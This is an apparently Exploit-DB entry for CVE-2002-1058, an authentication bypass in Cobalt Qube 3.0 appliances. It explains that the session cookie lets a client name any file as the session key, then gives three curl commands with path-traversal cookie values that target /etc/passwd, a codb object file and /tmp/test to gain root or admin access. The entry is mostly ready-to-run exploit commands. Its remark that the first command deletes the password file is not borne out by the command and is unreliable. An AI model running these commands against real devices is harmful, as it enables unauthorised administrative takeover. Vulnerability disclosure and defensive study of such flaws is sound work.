Cobalt Qube 3.0 - Authentication Bypass Vulnerability

ID EDB-ID:21640
Type exploitdb
Reporter pokley
Modified 2002-07-24T00:00:00


Cobalt Qube 3.0 Authentication Bypass Vulnerability. CVE-2002-1058. Webapps exploit for php platform


A vulnerability has been reported for Cobalt Qube that may allow an attacker to bypass the authentication mechanism and obtain administrative privileges. 

The vulnerability occurs because of a weak authentication mechanism with Cobalt Qube appliances. The authentication mechanism fails to properly validate the input supplied in the client cookie. Thus it is possible for an attacker to refer to a file on the filesystem as that containing the session key. This vulnerability may be exploited by remote attackers to obtain administrative privileges on the device.

$curl -b sessionId=../../../../../../../../etc/passwd\;loginName=root:x:0:0:root:/root:/bin/bash

This will allow the attacker to delete the password file.

The following will enable the attacker to obtain administrative credentials on the vulnerable system.
$curl -b sessionId=../codb/objects/4/.name\;loginName=admin

$ curl -b sessionId=/../../../../../../tmp/test\;loginName=admin